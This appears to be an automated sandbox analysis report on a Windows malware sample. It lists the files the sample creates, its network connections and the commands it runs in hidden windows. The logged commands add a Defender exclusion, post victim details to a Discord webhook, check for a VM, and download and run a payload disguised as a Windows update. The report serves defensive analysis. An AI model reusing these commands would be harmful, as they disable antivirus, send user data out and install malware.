Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users'
Modifies file system
Creates the following files
- <Current directory>\autohotkey.exe
- %TEMP%\chkip.txt
- %TEMP%\sysinfo.txt
- %TEMP%\chkdfnd.txt
- %APPDATA%\windowsupdate\webview.exe
Deletes following files that it created itself
- %TEMP%\chkip.txt
- %TEMP%\sysinfo.txt
- %TEMP%\chkdfnd.txt
Network activity
Connects to
- 'ip##.##externalip.com':80
- 'di##ord.com':443
- 'gi##ub.com':443
- 'oc##.#ectigo.com':80
- 're#########ets.githubusercontent.com':443
- 'x1.#.lencr.org':80
- 'yr.#.lencr.org':80
- 'yr#.#.lencr.org':80
- 'ga####y.discord.gg':443
TCP
HTTP GET requests
- http://ip##.##externalip.com/raw
- http://x1.#.lencr.org/
- http://yr.#.lencr.org/
- http://yr#.#.lencr.org/127.crl
Other
- 'di##ord.com':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'ga####y.discord.gg':443
UDP
- DNS ASK ip##.##externalip.com
- DNS ASK di##ord.com
- DNS ASK gi##ub.com
- DNS ASK oc##.#ectigo.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK x1.#.lencr.org
- DNS ASK yr.#.lencr.org
- DNS ASK yr#.#.lencr.org
- DNS ASK ga####y.discord.gg
Miscellaneous
Creates and executes the following
- '<Current directory>\autohotkey.exe' /force "\\.\pipe\AHKBBMAHAFG"
- '%APPDATA%\windowsupdate\webview.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c "curl http://ipv4.myexternalip.com/raw > %TEMP%\CHKIP.txt"
- '<SYSTEM32>\curl.exe' http://ipv4.myexternalip.com/raw
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Macro launched by user `user` on PC `USERUSE-3OF6J0O` IP: `18#.#3.40.66` @everyone\"}" "https://discord.com/api/webhooks...
- '<SYSTEM32>\cmd.exe' /c "systeminfo | findstr System > %TEMP%\sysinfo.txt"
- '<SYSTEM32>\curl.exe' -H "Content-Type: application/json" -X POST -d "{\"content\": \"Macro launched by user `user` on PC `USERUSE-3OF6J0O` IP: `18#.#3.40.66` @everyone\"}" "https://discord.com/api/webhooks/15016745...
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\findstr.exe' System
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Machine appears legitimate! (no VM)\nUser: `user`\nPC: `USERUSE-3OF6J0O` \nIP: `18#.#3.40.66`\"}" "https://discord.com/a...
- '<SYSTEM32>\curl.exe' -H "Content-Type: application/json" -X POST -d "{\"content\": \"Machine appears legitimate! (no VM)\nUser: `user`\nPC: `USERUSE-3OF6J0O` \nIP: `18#.#3.40.66`\"}" "https://discord.com/api/webhoo...
- '<SYSTEM32>\cmd.exe' /c "powershell.exe Add-MpPreference -ExclusionPath 'C:\Users'"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -Command ""(Get-MpPreference).ExclusionPath"" > ""%TEMP%\CHKDFND.txt"""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command ""(Get-MpPreference).ExclusionPath""
- '<SYSTEM32>\cmd.exe' \c curl -H "Content-Type: application\json" -X POST -d "{\"content\": \"Attempted adding Defender Exclusions!: \n```Get-MpPreference : Invalid class At line:1 char:2 + (Get-MpPreference).Exclu...
- '<SYSTEM32>\cmd.exe' /c "curl -L -o ""%APPDATA%\WindowsUpdate\WebView.exe"" https://github.com/Aexelsuka/Script/releases/download/WebView1/WebView.exe"
- '<SYSTEM32>\curl.exe' -H "Content-Type: application/json" -X POST -d "{\"content\": \"Attempted adding Defender Exclusions!: \n```Get-MpPreference : Invalid class
- '<SYSTEM32>\curl.exe' -L -o ""%APPDATA%\WindowsUpdate\WebView.exe"" https://github.com/Aexelsuka/Script/releases/download/WebView1/WebView.exe
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Client install attempted! Monitoring for success...\"}" "https://discord.com/api/webhooks/1501674562289401897/3hwwtVy_OH...
- '<SYSTEM32>\curl.exe' -H "Content-Type: application/json" -X POST -d "{\"content\": \"Client install attempted! Monitoring for success...\"}" "https://discord.com/api/webhooks/1501674562289401897/3hwwtVy_OH31lFOBRwk...
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Installation Successful! Client is active in WindowsUpdate folder.\"}" "https://discord.com/api/webhooks/150167456228940...
- '<SYSTEM32>\curl.exe' -H "Content-Type: application/json" -X POST -d "{\"content\": \"Installation Successful! Client is active in WindowsUpdate folder.\"}" "https://discord.com/api/webhooks/1501674562289401897/3hww...
- '<SYSTEM32>\cmd.exe' /c "curl http://ipv4.myexternalip.com/raw > %TEMP%\CHKIP.txt"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Macro launched by user `user` on PC `USERUSE-3OF6J0O` IP: `18#.#3.40.66` @everyone\"}" "https://discord.com/api/webhooks...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "systeminfo | findstr System > %TEMP%\sysinfo.txt"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Machine appears legitimate! (no VM)\nUser: `user`\nPC: `USERUSE-3OF6J0O` \nIP: `18#.#3.40.66`\"}" "https://discord.com/a...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe Add-MpPreference -ExclusionPath 'C:\Users'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -Command ""(Get-MpPreference).ExclusionPath"" > ""%TEMP%\CHKDFND.txt"""' (with hidden window)
- '<SYSTEM32>\cmd.exe' \c curl -H "Content-Type: application\json" -X POST -d "{\"content\": \"Attempted adding Defender Exclusions!: \n```Get-MpPreference : Invalid class At line:1 char:2 + (Get-MpPreference).Exclu...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -L -o ""%APPDATA%\WindowsUpdate\WebView.exe"" https://github.com/Aexelsuka/Script/releases/download/WebView1/WebView.exe"' (with hidden window)
- '%APPDATA%\windowsupdate\webview.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Client install attempted! Monitoring for success...\"}" "https://discord.com/api/webhooks/1501674562289401897/3hwwtVy_OH...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Installation Successful! Client is active in WindowsUpdate folder.\"}" "https://discord.com/api/webhooks/150167456228940...' (with hidden window)
